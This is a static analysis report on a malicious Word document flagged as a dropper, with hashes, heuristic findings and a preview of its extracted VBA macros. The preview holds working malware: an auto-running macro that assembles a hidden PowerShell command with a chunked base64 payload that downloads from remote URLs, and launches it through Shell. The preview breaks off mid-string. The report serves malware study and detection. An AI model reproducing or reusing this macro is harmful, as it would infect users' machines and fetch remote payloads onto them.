Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6123e58dd354d459…

MALICIOUS

Office (OLE)

114.2 KB Created: 2018-05-28 17:15:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 25d75267a6e854539c49fff6530c5493 SHA-1: 1f031f68060520c9ed66376b5515d0435818026b SHA-256: 6123e58dd354d45964050b9a5404372f675ba50af81a3ec80b8ffdbd5b195ad4
210 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6562596-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6562596-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    vJwJLBHBFD = Shell(rozFfIHMph + Chr(vbKeyP) + GRXpwPH + AioubG, vbHide)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub Autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19779 bytes
SHA-256: dc39ec3d09ab1fd2ab4164f5fff6ee03844e70c7bcf52436997b7d0c54f59263
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LwizJYbfCpKN"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function wFGVMUVJh()
On Error Resume Next
DZjKm = (ABoKA * zNDjZ - DKoHDv * Round(30200)) + (95831 - Rnd(sbBEIn) + 61408 + pWbhPo)
bMjls = (RuUNap * wWkupN - anGrN * Round(38050)) + (60633 - Rnd(MwvnW) + 43097 + qMiFwb)
wFGVMUVJh = paYLEkCB + HJtartZ + jvZdPzfkF + ljTtF + MiKGwzj + pFnTWvXjZcR + jPkfldlrPW + wazDL + WzZEdOG + AXTEGuZ + FhFMfaJu + uKqDzQXlun + jkQjhbFmT + LLOFrW
jqhwBm = (mjsCj * oGrXYT - hWSmS * Round(14742)) + (30872 - Rnd(YQjOjs) + 13281 + KPRtv)
End Function
Sub Autoopen()
On Error Resume Next
RDkqdr = (UGjiYz * YufuW - NQIoAz * Round(65117)) + (81022 - Rnd(IGaHGF) + 29497 + cdYvE)
wmGGStpZ (wFGVMUVJh)
CjHsz = (PkXWIM * uwpiJ - nwaERt * Round(8100)) + (16787 - Rnd(CQzrJG) + 11675 + sHkwS)
End Sub
Function wmGGStpZ(AioubG)
On Error Resume Next
iDwuE = (GnzPB * Lcfpz - jWhHZR * Round(5923)) + (88124 - Rnd(rwWYwU) + 51728 + ATwznm)
Riqsv = (ZCHrOv * bihrKj - qcqEw * Round(69837)) + (71315 - Rnd(WAtvkS) + 81079 + aKwKRt)
vJwJLBHBFD = Shell(rozFfIHMph + Chr(vbKeyP) + GRXpwPH + AioubG, vbHide)
hhZlP = (mHoHX * orlwL - ujGzTK * Round(44663)) + (72234 - Rnd(GjMWzw) + 25109 + XXzVI)
End Function


Attribute VB_Name = "tEoNtBzpOmSX"
Function paYLEkCB()
On Error Resume Next
whTDrP = (JoYJml * bJEOq - VAOQf * Round(95697)) + (63939 - Rnd(ckDQF) + 80204 + DzFMJ)
jHWTMkzT = "owers" + "HeLL -WinDow" + "sTyle hidd" + "en -e Jg"
vpoMh = (cTpto * javSD - tijjE * Round(39815)) + (86992 - Rnd(vzYJzB) + 63771 + aLaDz)
oIzwacJrH = "AgACg" + "AIAAkAFMASABF" + "AGwATABpAGQ" + "AWwAxAF0A" + "KwAkAHM" + "AaABlAGwATABpA" + "EQAWwAxADMAXQ" + "ArACcAeAAnACkAK" + "AAgACgAKAAiAHsA"
FjnqPM = (PGkwh * aZOlU - AWcvf * Round(88904)) + (73940 - Rnd(SAksz) + 48889 + dztNF)
zCscqZRjpPB = "MQAzAD" + "MAfQB7ADAA" + "fQB7ADUANQB9AH" + "sANAA5AH0AewA1" + "ADgAfQ" + "B7ADY" + "ANwB9AHsANgAw"
IjtnNR = (GoLaFj * JclIwc - GOVrwI * Round(10254)) + (95445 - Rnd(VYOnsq) + 67529 + RcDQd)
WdRIPhRrjDF = "AH0Ae" + "wAxAD" + "AANAB9AHsA" + "MQAxADQA" + "fQB7ADUAM" + "gB9AHsAMQA"
KmQcEA = (kQcqC * XvRId - OpCrw * Round(9340)) + (35968 - Rnd(drTZZc) + 50033 + FfjAz)
DJfCMJXQ = "2ADgAfQB7AD" + "gANQB9AHsAMQA" + "5AH0Aew" + "AxADQAfQB7AD" + "YAMwB9AHsAMQA" + "wADcAf" + "QB7AD" + "QANAB9AHsA" + "OQA0AH0AewAx"
paYLEkCB = jHWTMkzT + oIzwacJrH + zCscqZRjpPB + WdRIPhRrjDF + DJfCMJXQ
End Function
Function HJtartZ()
On Error Resume Next
lHmzp = (LLzUa * PzIvT - mGktz * Round(6698)) + (31277 - Rnd(rMqlcc) + 22107 + EuEzO)
GfazHmjH = "ADUAOQB9AH" + "sANQA5AH0AewA" + "xADIANwB9AHsAM" + "QAyADUAfQB7" + "ADEAN" + "QA4AH0AewAxADM" + "AMgB9AHsAMQ" + "A2ADcAfQB7"
iRrzwS = (aDJMI * qbrKi - PhzVNr * Round(96118)) + (92906 - Rnd(uNqUI) + 84815 + TCzFw)
DzrcfjwF = "ADIANAB9AHs" + "AMQAzAH0AewA" + "5ADgAfQB" + "7ADMAMgB9AHsAM" + "QA1AH0AewAyADY" + "AfQB7ADYA"
QIjZT = (VbNkW * zMiwd - AVAjp * Round(36441)) + (83948 - Rnd(WRIpM) + 57141 + CQqooX)
JJwVG = "NQB9AHsANQA" + "0AH0AewA4ADE" + "AfQB7ADEA" + "MgA4AH0" + "AewAxADYANgB9AH" + "sANQB9A" + "HsANA"
blhcUC = (fqWYp * cMkTN - TrDTXY * Round(85301)) + (68467 - Rnd(vsHpkQ) + 89921 + wNwpr)
zXWwTY = "A1AH0Ae" + "wAzADUA" + "fQB7ADgANgB9AHs" + "AMwB9AHsAO" + "AAwAH0A" + "ewAxADQAMQB9AH" + "sAOAA4"
HJtartZ = GfazHmjH + DzrcfjwF + JJwVG + zXWwTY
End Function
Function jvZdPzfkF()
On Error Resume Next
blQWZG = (jXaGEs * SJEcS - jwPjF * Round(77320)) + (64739 - Rnd(lGPscA) + 55233 + HBTdGP)
qIcsCA = "AH0AewA4ADc" + "AfQB7A" + "DQAOAB9AHsAN" + "gB9AHsAMQAwADEA" + "fQB7ADEAN" + "QA0AH0Aew" + "AxADUANQB9AHsAN" + "wA1AH"
hijYX = (pIWWiH * VjRkYr - RKNbru * Round(69285)) + (3421 - Rnd(IpGTd) + 65871 + YQJBw)
lfGJI = "0AewA" + "1ADcAfQB7AD" + "EANAA" + "wAH0AewAxADMAM" + "QB9AHsAMgA" + "wAH0AewA2A" + "DQAfQB7ADEANQA"
tVwtzM = (jiEOUD * UEjdM - ENhXnz * Round(75911)) + (60059 - Rnd(UOqwTR) + 85330 + wuXaUa)
zYEzCCfuL = "zAH0AewAxADI" + "AMAB9" + "AHsAOQAwAH0A" + "ewA5ADYAfQB7A" + "DcAMwB9A" + "HsAMQA1ADAAf" + "QB7ADEAMgAzAH0A" + "ewA0ADYAf" + "QB7ADMANgB9AHsA"
szaMjT = (jpIsjn * FAZwpN - YWjEcb * Round(64155)) + (66514 - Rnd(Nkmzfo) + 48870 + wZkhBp)
tZXKjUpu = "MQA0AD" + "IAfQB7AD" + "kANwB9AHsAMQ" + "AzADcAfQ" + "B7ADkAOQB9"
kECtuw = (iMuUcq * DrCwA - HtqvRa * Round(95575)) + (94749 - Rnd(dHWjI) + 38238 + Zonqi)
BQjKtXF = "AHsAMQAwADIAfQ" + "B7ADE" + "AMAA1AH0AewA4A" + "DMAfQ" + "B7ADYAMgB" + "9AHsAMgA4AH0Ae" + "wA5ADIAfQB" + "7ADEA"
ZCLLi = (uiijA * SqNGbU - jOjmz * Round(93060)) + (64690 - Rnd(fSOKJM) + 3037 + okFrd)
XwKKQnFzzq = "MQAzAH0Ae" + "wAxADYAMg" + "B9AHsAMQA" + "yADkAfQB7" + "ADgAfQB7AD" + "EANgA1AH0Aew" + "AxADUANwB9AHs" + "AMQA1A" + "DIAfQ"
hvYWm = (cKSMTp * rqPNP - jPPTZ * Round(82571)) + (63959 - Rnd(WZWWc) + 44269 + joObJr)
HLHvZoCEDCF = "B7ADEAMwA2AH0" + "AewA5ADUAf" + "QB7ADUAM" + "AB9AHsAMQA" + "wADAAfQB7ADMAM" + "AB9AHsAMwA5AH0" + "AewAxADQAN" + "gB9AHsAMQA" + "zADgAfQB7A"
VzCqU = (JdYWq * znSbwf - YGlwq * Round(83767)) + (35724 - Rnd(LBBmF) + 18416 + tQRjW)
slXFTpn = "DYAOAB9AHsAM" + "QA0ADMAfQB7A" + "DEANQAxAH0Aew" + "A0ADIAfQB7ADE"
HtAzf = (ZrONQw * TEkCM - BnwbXj * Round(72694)) + (63118 - Rnd(tBKOIi) + 32298 + lwLFs)
ASjjzj = "AMQAyA" + "H0AewAxADcAfQ" + "B7ADEANAA5AH" + "0AewA0ADMAf" + "QB7ADE" + "AMgAxAH0Ae"
zokqAq = (JNFkU * JRcPtF - zMCBnV * Round(4584)) + (83777 - Rnd(GBtIHA) + 75359 + tlqKko)
XZwmcf = "wA5ADMA" + "fQB7ADEAMgB9AH" + "sAMQAz" + "ADAAfQB7ADEA"
jvZdPzfkF = qIcsCA + lfGJI + zYEzCCfuL + tZXKjUpu + BQjKtXF + XwKKQnFzzq + HLHvZoCEDCF + slXFTpn + ASjjzj + XZwmcf
End Function
Function ljTtF()
On Error Resume Next
inAHv = (jRAui * ljCioZ - HErMa * Round(17284)) + (57824 - Rnd(WHOnMY) + 96202 + zVvvq)
LZkZCG = "MQAxAH0Ae" + "wA4ADkAfQB7A" + "DEAMAAzAH0A" + "ewAxADE" + "AMAB9AHs" + "AMQAzADkAfQB7A" + "DEAMQA" + "4AH0AewA"
jsNZQ = (CqHCk * hAmbZw - SKJlH * Round(41952)) + (23832 - Rnd(MCIsdT) + 65031 + wwBsc)
uGISGXzitIw = "4ADIAfQB7AD" + "EAMgAyAH0AewA" + "xADEA" + "OQB9AHsAMQ" + "A2AH0Ae" + "wAyADcAfQB7ADUA" + "MwB9A" + "HsAMQ" + "AwADYAf"
fAMDlr = (kYwziX * ZGGDD - qnwJG * Round(15022)) + (98634 - Rnd(ndXFoj) + 58722 + ZDkVq)
aSEGBkIsiOW = "QB7ADgANA" + "B9AHsAMQAy" + "ADYAfQB7ADcAOA" + "B9AHsAM" + "QA1ADYAfQB7AD" + "EANgAxAH" + "0AewAyADMAf" + "QB7ADEAN" + "gAwAH0AewAy" + "ADUAfQB7ADMAN"
iMvzvS = (srwpPw * CCwdrR - vYsprk * Round(32271)) + (63968 - Rnd(TiXNJ) + 73773 + HMjkv)
BHRoRrh = "wB9AHsAMQB9AHsA" + "NAAwAH0Aew" + "A0AH0Ae" + "wAxADYANAB9AHsA" + "MQAxAD" + "YAfQB7ADEAMA" + "A5AH0AewAyADkA" + "fQB7ADkAfQB7ADM" + "ANAB9AHsANwAwA"
ZPZjmG = (HGdZj * nDKDii - oiGrj * Round(67885)) + (30870 - Rnd(pRLjAJ) + 98774 + PIwKKv)
ZwvaObV = "H0AewAz" + "ADEAfQB7ADY" + "AMQB9A" + "HsAMgAyAH0A" + "ewAxADEA" + "NwB9AHsAN" + "AAxAH0"
ljTtF = LZkZCG + uGISGXzitIw + aSEGBkIsiOW + BHRoRrh + ZwvaObV
End Function
Function MiKGwzj()
On Error Resume Next
FzhZz = (wIzGk * uJhzCq - RpRsfZ * Round(76445)) + (52173 - Rnd(vkUAsR) + 2981 + CJQdsI)
uvUQcdmr = "AewA2ADYAfQB7AD" + "EAOAB9AHsAMQA" + "xAH0AewAxADM" + "ANAB9AHsAMg" + "AxAH0AewA5AD" + "EAfQB7ADYAO" + "QB9AHs" + "ANwB9AHs" + "ANAA3AH0AewA3A"
ZQMES = (IvTbiX * FBALjC - NmjEd * Round(14791)) + (76599 - Rnd(tZFYjE) + 36253 + NjIMm)
NBalh = "DQAfQB7A" + "DcANwB9" + "AHsAMQAzA" + "DUAfQB7ADEA" + "NAA3AH0Ae"
AYOtOo = (JFtqu * njIbL - KBuWFr * Round(67821)) + (73950 - Rnd(ncbpbY) + 73928 + qjtzz)
iGsDacKuI = "wA1AD" + "EAfQB7ADcAMQB9A" + "HsAMQAxADUAf" + "QB7ADM"
UMhlDf = (FHwSbm * CICiC - WdRBT * Round(53105)) + (1516 - Rnd(RsRuN) + 33914 + KYFfG)
FfAzXEj = "AMwB9AH" + "sAMQAyADQAfQB" + "7ADcANgB" + "9AHsAMQA0ADgAf" + "QB7ADEANAA0AH0" + "AewAzADgAfQB7"
hUiWz = (jIhjOw * OrujSc - MnPfYO * Round(41077)) + (61760 - Rnd(kwzvIo) + 16732 + iTqUNj)
jNrEQJjM = "ADUANgB9" + "AHsAN" + "wAyAH0" + "AewAxADAAOAB9" + "AHsAMQA2ADM" + "AfQB7AD"
DzdDi = (rnDbr * EzwlQA - zjPBb * Round(49696)) + (66478 - Rnd(CwmKz) + 6463 + cakRz)
EYSCsu = "EAMAB9AHsAMQA0A" + "DUAfQB7ADI" + "AfQB7ADcAOQB9" + "ACIAIAAtAGYA" + "JwBuAHMA" + "JwAsACcAZgBjAC"
tJwTQt = (nfhZT * mbowBd - IooQR * Round(84986)) + (82870 - Rnd(XYAwC) + 74545 + aSiLf)
daDIBiBcO = "AAaQBuACAAc" + "gAnAC" + "wAJwB" + "7ACcALAAn" + "AGwAaQBlA" + "G4AdAAnACwAJwBE" + "AEMAJ" + "wAsACcAbQAuACc" + "ALAAnAD0AI"
TWQMqB = (codjo * UEUfBY - DQHhb * Round(32936)) + (20948 - Rnd(BVOpzV) + 77559 + YEaqa)
lCWiLVL = "AByAEMAUw" + "BuACcALAA" + "nAG0AcgB3A" + "GkAJwAs" + "ACcAbwBuAGQ" + "AZQByACcAL" + "AAnAHIAQw"
juQKF = (zFmjn * bDPjkZ - jaSPuq * Round(54020)) + (61918 - Rnd(wbbici) + 63031 + QRLsi)
zaLBGhviKsA = "BTAFkA" + "WQAnACwAJwB" + "9ACcALAAnADEA" + "OAAnAC"
iiCUuk = (oTBzq * QfWTdm - JLFEA * Round(93386)) + (44471 - Rnd(TTNwB) + 59585 + hrWivk)
KiDiHE = "wAJwBpACcALAAn" + "AEIAZAAnACwAJw" + "BCAGQAK" + "QAgAHIAYQAn" + "ACwAJwBiA"
MiKGwzj = uvUQcdmr + NBalh + iGsDacKuI + FfAzXEj + jNrEQJjM + EYSCsu + daDIBiBcO + lCWiLVL + zaLBGhviKsA + KiDiHE
End Function
Function pFnTWvXjZcR()
On Error Resume Next
IZjlh = (htwiG * mXdzU - NzVznA * Round(80433)) + (35920 - Rnd(wfzvqc) + 2158 + fVOPH)
zAbTjkRj = "GoAZQBjA" + "HQAJwAsACcAU" + "ABzAHEAQgBk" + "ACAAJwAsA" + "CcAbgBtAGUAJ" + "wAsACcAdwBs" + "AGUAJwAsACcAYwB" + "xAEIA"
ZVfrj = (MEuCki * mIlivO - jOAnQs * Round(72292)) + (39210 - Rnd(bFiGiv) + 58358 + IJaUt)
MTdSd = "ZAArAH" + "EAQgBkAH" + "QAcQAnACwAJw" + "BBAEQA" + "QwBYACAAPQAgA" + "CcALAAnAG"
vKHsOu = (nSAYlL * rbnGr - SwCcF * Round(82883)) + (57698 - Rnd(ZmoNpd) + 10628 + IAXZDo)
JVXikmYzlQj = "MALgAxADg" + "AJwAsACcAbgAn" + "ACwAJ" + "wBkACkAO" + "wAnACwAJwBkACsA" + "cQAnACwAJwBy" + "AGUAYQBjACcA" + "LAAnAHEAQgB" + "kACcALAAnACsAIA" + "ByACcALAAnAGk"
hhskJQ = (VTdnSw * fmXQQ - jMKwh * Round(29181)) + (29001 - Rnd(njSCi) + 19110 + uNGUM)
ilDGoXOYY = "AdAAvAHAANA" + "AnACwAJwB" + "7ACcALA" + "AnAGkAdABzAG8A" + "bAB1AHQ" + "AJwAs" + "ACcAdwAnACwAJ" + "wBvACcALAAnAH" + "EAJwAsACc"
QUkCKG = (cNzIn * GUXwCu - OhkKk * Round(77211)) + (78212 - Rnd(lYQwEV) + 30623 + ZuXIup)
jDDGzYM = "AVQAuADEAOABUAE" + "QAbwA" + "nACwAJw" + "B0AC4AVwB" + "lAGIAJwAs" + "ACcANgBNACcAL"
jJPEDB = (REZKd * kZRWSh - ojMiEq * Round(53266)) + (95856 - Rnd(fmHYH) + 764 + UjllO)
ZRqhI = "AAnAGgAKAByAE" + "MAUwBhAHM" + "AJwAsACcA" + "QwBTA" + "CcALAAnA" + "GkAbwAnACwAJw" + "BDAFMAQQ" + "AnACwAJw"
pFnTWvXjZcR = zAbTjkRj + MTdSd + JVXikmYzlQj + ilDGoXOYY + jDDGzYM + ZRqhI
End Function
Function jPkfldlrPW()
On Error Resume Next
LWurh = (zcAqM * lAwhzN - ZPZnC * Round(10858)) + (51633 - Rnd(Yzmhwd) + 63812 + pnMJT)
wEmSCUtiRK = "BhAGQAJ" + "wAsACcAYQ" + "BuAHMAcw" + "AnACwAJwAuAG4" + "AbAAvAGsAT" + "gBCACcAL" + "AAnAG0AOwAnACwA" + "JwBOAGUAJwAsA" + "CcALwAnACwAJw"
ZiwuaW = (EnkXMo * mirmGY - fNIQUD * Round(56105)) + (13735 - Rnd(nEGbpu) + 83510 + fEjTK)
bMlPGOb = "BtACcALAAnAC" + "AAJwAsACcAYQBz" + "AGQAIAA9ACcAL" + "AAnAGgAd" + "AAnACwAJw" + "BTAFM" + "ARABDACcALAAnA" + "GUAcQA"
Jjpok = (waCuW * RndGSW - twTGND * Round(85359)) + (83620 - Rnd(GCoHVK) + 98473 + iPsAwM)
PjFSMrcUZ = "nACwAJwBDAF" + "MATgBTAEIAIAAr" + "ACcALAAnACAA" + "JwAsACcAYQBkA" + "CcALAAnA" + "FMARAB" + "DACkAJwA" + "sACcAMwAzAC" + "cALAAnACAAJ"
LEvcD = (ZlNWQF * dblsPN - AGOZG * Round(77420)) + (94662 - Rnd(DizwkR) + 89844 + IPnEh)
VfYiot = "gAnACw" + "AJwBZAF" + "kAVQAgA" + "D0AJwAsACc" + "AZABuAHEAQgB" + "kACsAcQAnACwAJw" + "BXACcAL" + "AAnAC" + "4AJwAsACcAbgBkA" + "CcALAAnAHE"
jPkfldlrPW = wEmSCUtiRK + bMlPGOb + PjFSMrcUZ + VfYiot
End Function
Function wazDL()
On Error Resume Next
blEEJ = (DiAkj * BFpWVP - ziiZTV * Round(46734)) + (67542 - Rnd(dcbIm) + 68607 + dUCfuX)
wXHto = "AQgBkAA0ACgBoA" + "HQAdABw" + "ADoALwA" + "vACcALAAnA" + "CkAJwAsACc" + "ARgBJAG" + "0AcgAnA" + "CwAJwAoAHEA"
dMNrQ = (TmtXXj * sMljkT - BXIaGR * Round(51637)) + (22793 - Rnd(TkmZJ) + 9751 + GdHtw)
zChnoqGimR = "QgAnACwAJwB" + "pAEEAaAA0AC8" + "AQABoAHQA" + "dABwACcA" + "LAAnAHIAJ" + "wAsACcAbQBy"
iElCBl = (iSuam * GDmlz - IkZnk * Round(18925)) + (48013 - Rnd(ziFdan) + 20124 + EpDQou)
caipKHPcuI = "ACcALAAnACkAOwA" + "mACgAcQBCAGQ" + "ASQBuAHYAbwBxA" + "EIAJwAsACcAO" + "wBiAHIAJwA" + "sACcAbwBlAHMAJ" + "wAsACcA" + "cgAnA" + "CwAJwA"
AqMnl = (IUrIfq * JQAsc - RENRAz * Round(25271)) + (34002 - Rnd(wiiZNR) + 48328 + YWnoqK)
WBslVzI = "wADAAMAAsACAAM" + "gA4ADI" + "AMQAnACwAJwB" + "lAG0AcQBCAG" + "QAKQAnAC" + "wAJwB3ACcALAAnA" + "HEAJwAsACcAfQB" + "9ACcALAAnAD"
UuzDf = (oKnqdO * YLoYhJ - JZFcp * Round(69116)) + (37911 - Rnd(WpJauw) + 94097 + BJmLH)
LPJktVZsoY = "sAcgAnAC" + "wAJwBTACcA" + "LAAnAHEAJwA" + "sACcAbwAnACwAJw" + "AoAHEAQgBkACcA" + "LAAnAHcA" + "LQBvAGIAa" + "gBlACc" + "ALAAnAEMAJw"
wazDL = wXHto + zChnoqGimR + caipKHPcuI + WBslVzI + LPJktVZsoY
End Function
Function WzZEdOG()
On Error Resume Next
ujkCl = (MhOHj * EupUOv - MowjC * Round(39597)) + (78148 - Rnd(FmPuwQ) + 72960 + WsmwvP)
ZTUEq = "AsACc" + "AUwBCACcALA" + "AnAFMATgAnACw" + "AJwBTAFMARAAnAC"
aCtHuC = (huqqu * wChhww - vzMhW * Round(36337)) + (29330 - Rnd(cbzYz) + 99700 + iJMuZ)
wDunXaAXWH = "wAJwBk" + "AGUAcwBvAGwAJ" + "wAsACcAVABUAG8" + "AUwB0ACcALA"
FUEIVC = (ULEBzI * bpLlbn - FStSzj * Round(46075)) + (45232 - Rnd(VCWRq) + 58027 + ZAPjw)
pEzDShrlCii = "AnAGsARQBv" + "AEkANwAvACcALAA" + "nAC4AU" + "wBwAGwAJwAs" + "ACcAcgAnAC" + "wAJwB"
XvZoG = (pzbTmr * CLpXTL - njzcqD * Round(95299)) + (63761 - Rnd(kLHzov) + 95743 + Jcbiau)
qPpfYvwbMb = "QAC8AQA" + "AnACwAJwB1AGMA" + "JwAsAC" + "cAZwA3AC" + "8AJwAsAC" + "cALQAnACwAJwB" + "oAHQAdAAnAC" + "wAJwB0AHAAOgAvA" + "C8AcABsAGEA"
kaqczj = (wUBdnw * zDwILq - irLGN * Round(95127)) + (27507 - Rnd(jOMpQr) + 31008 + VkCHP)
dqkBhdHkO = "bgAnACwAJwBz" + "ACcAL" + "AAnAHA" + "AOgAvAC8AbQBhA" + "GMAcgBvAHMAcAB"
WzZEdOG = ZTUEq + wDunXaAXWH + pEzDShrlCii + qPpfYvwbMb + dqkBhdHkO
End Function
Function AXTEGuZ()
On Error Resume Next
zLHBvL = (cZOEb * jiVjm - ElnQw * Round(62241)) + (11357 - Rnd(qdYJis) + 85939 + AwLCCS)
KHjbwUvOs = "hACcALAAnAEM" + "AJwAsA" + "CcAQgAnAC" + "wAJwB6AGk" + "AJwAsACcAI" + "AAnACwAJwBvACcA" + "LAAnAGUAYQBrA" + "CcALAAnAHkAJ" + "wAsACcA" + "IAA9AC"
owlol = (izAPsK * KuJVp - jzBEVi * Round(25170)) + (79347 - Rnd(WXkMmi) + 97088 + NrUAH)
COuSczO = "AAJwAsACcAcg" + "BDACcALA" + "AnAG0AYQAnACwA" + "JwBAA" + "GgAJwAsACcAZA" + "AnACw" + "AJwBkACsAcQBC"
Yuphrj = (pqNZi * mtPFY - EdcfjX * Round(43000)) + (23550 - Rnd(wdVdbW) + 57009 + jBVGY)
voIFrqjm = "AGQAa" + "wAnACwAJwApAH" + "sAdAByACc" + "ALAAnAGw"
hWmDXL = (zlvID * vOIJV - dsNsw * Round(13964)) + (70794 - Rnd(ijEDl) + 60822 + vItUwA)
tTiDZlJLWW = "AbQBy" + "AHcATwAnACwA" + "JwArACAAJwAsACc" + "AZABl" + "ACcALAAnA"
wrZUY = (hwXrA * vpTiqw - CpOhsX * Round(45707)) + (9442 - Rnd(FOpWW) + 48191 + WSbjOb)
QqLcw = "GEAJwAsACcASQBt" + "ADcALw" + "BxAEI" + "AZAAn" + "ACwAJwBCACcALAA" + "nAG0A" + "LgBiAHIAJwAsACc" + "AQgBkACsAcQBCAG" + "QAZQAtAEkAdAAn" + "ACwAJwBCA"
LNDCkF = (dDXMwO * KhzARj - IBdNWv * Round(95228)) + (23859 - Rnd(NXaDC) + 37840 + UnwZcL)
fjMsTq = "GQAJwAsACcA" + "LgBlAHgAJwAs" + "ACcAI" + "AAuACgAcQAn" + "ACwAJwB5" + "AHMAdAAnAC"
AXTEGuZ = KHjbwUvOs + COuSczO + voIFrqjm + tTiDZlJLWW + QqLcw + fjMsTq
End Function
Function FhFMfaJu()
On Error Resume Next
KXKJM = (iizuvD * ZoNKd - oJoXL * Round(65035)) + (81641 - Rnd(cMSHOw) + 67294 + pLmla)
EsjEzj = "wAJwB0AHAAOg" + "AvAC8" + "AJwAsACcAdAA" + "oAHEA" + "QgBkAEAAcQBCAG"
iajHzH = (jZovK * IWAzb - tCVfn * Round(63817)) + (12407 - Rnd(GzCXsq) + 9575 + NrDijc)
fEqsh = "QAKQA7ACcAL" + "AAnAFM" + "AJwAsACcAcQ" + "BCAGQAKwBxAEIA"
ndLDaa = (pMLPhh * vsasi - jXRDU * Round(34089)) + (56366 - Rnd(IvsmR) + 12794 + BbdjCJ)
WKFujGoQj = "ZAB3A" + "CcALAAnA" + "HIAQwBTACc" + "ALAAnAFQAK" + "AByAEMAUwBhA" + "HMAZgAnAC" + "wAJwBOAGc" + "AJwAsACcA"
pMcIX = (SzdpE * PPMIj - zohQS * Round(56613)) + (31548 - Rnd(atQwMb) + 98636 + hEbLt)
vwNtH = "OABwAC" + "cALAAnAEAAJwAsA" + "CcAYwBvAC4Ab" + "gB6AC8AdABM" + "AEwAJw" + "AsACcAc" + "gBDAFMAZQBuA"
qJSCh = (rTpTtX * VcZtw - zvZijd * Round(56316)) + (39134 - Rnd(hHhYOq) + 96659 + wPvTi)
iMLSBbZdPUz = "HYAOgBwAH" + "UAYgBsAGkAYwAgA" + "CcALAA" + "nACkAOwBy" + "AEMAJwAsA" + "CcAQwA" + "nACwAJwBnACcALA"
FhFMfaJu = EsjEzj + fEqsh + WKFujGoQj + vwNtH + iMLSBbZdPUz
End Function
Function uKqDzQXlun()
On Error Resume Next
DzDoW = (vIKcSw * RalZE - zlimVJ * Round(29490)) + (44078 - Rnd(biDZO) + 78706 + ldoHq)
FjqzlESSG = "AnADoAL" + "wAvAG" + "YAJwAsACcAcgA" + "nACwAJwBj"
ZwFFRi = (zMprqi * VKhfG - qjjYt * Round(65916)) + (43457 - Rnd(pIlzmD) + 24798 + hQrkpH)
tEjLBOioMl = "AGEAdABjAGgA" + "JwAsACcA" + "bgBzA" + "C4AJwAsACc" + "AMQA4AFQA"
oLjfU = (avIAj * sPjMj - lHDEt * Round(6236)) + (60809 - Rnd(jdRoW) + 33527 + RsNJCC)
qEiBqwHzSWt = "KAApACwAIAByAEM" + "AJwAsACcAK" + "AAnACwA" + "JwBkAGkAYQAnAC" + "wAJwAuAGMAbwA"
PNczDz = (WADHc * ALjRj - MRwdTi * Round(33880)) + (43760 - Rnd(XTCjFp) + 84456 + cwzinM)
tYcEhEJWS = "nACwAJwBy" + "ACcALAAnAG" + "kAcABzA" + "C4Abg" + "BsAC8A" + "bQBQAHM" + "AJwAsACcAdAByAG" + "kAJwAsACcAYQ" + "BkAGEAJwAsA"
NhtNjF = (vdDqi * jISma - zhBaXO * Round(15800)) + (41812 - Rnd(VjRYE) + 39066 + mlEnU)
BajWUYjBvz = "CcAcwBkAC4AbgB" + "lAHgAdAAoA" + "DEAMAAnACwAJw" + "BCAGQAKwBxAEIAZ"
YYdOL = (GTdNH * NuMGVw - kBawlR * Round(50332)) + (96453 - Rnd(WhhmZ) + 69903 + cwIDi)
MspbinY = "ABlACcALAAnA" + "HMAdAAnACwAJwBu" + "AGUAJwAsAC" + "cAQwBTACcALAA" + "nAGYAb" + "wAnACwAJwBxA" + "EIAJw" + "AsACc" + "AdAAnACwA"
uKqDzQXlun = FjqzlESSG + tEjLBOioMl + qEiBqwHzSWt + tYcEhEJWS + BajWUYjBvz + MspbinY
End Function
Function jkQjhbFmT()
On Error Resume Next
orTJj = (ZDfPFM * Nzcszl - mwwfUS * Round(56241)) + (71357 - Rnd(JMvsUM) + 67401 + bljYPq)
ujRwC = "JwA7ACcALAAn" + "AFgAJwAs" + "ACcAbgBlAG0A" + "ZQByAC" + "cALAAnAGU" + "AJwAsACcAcQB" + "CACcALAAnAE"
bapWL = (ELRHc * unpNNo - VCKUP * Round(1946)) + (28692 - Rnd(QMBCXG) + 57575 + udGZi)
nukLoUM = "IAZAArAHEAQg" + "BkACcA" + "KQApAC4AcgBFAHA" + "AbABhAEM" + "ARQAoACgAWwBjA" + "GgAYQ"
BdksV = (pmXVkv * PRFaV - BozQEF * Round(71582)) + (32673 - Rnd(ukGPlQ) + 2186 + jWfaJd)
RLCUpQmmw = "BSAF0AMQAx" + "ADQAKwBbAGMAaAB" + "hAFIAXQA2" + "ADcAKwB" + "bAGMAaABhAFIAX" + "QA4AD"
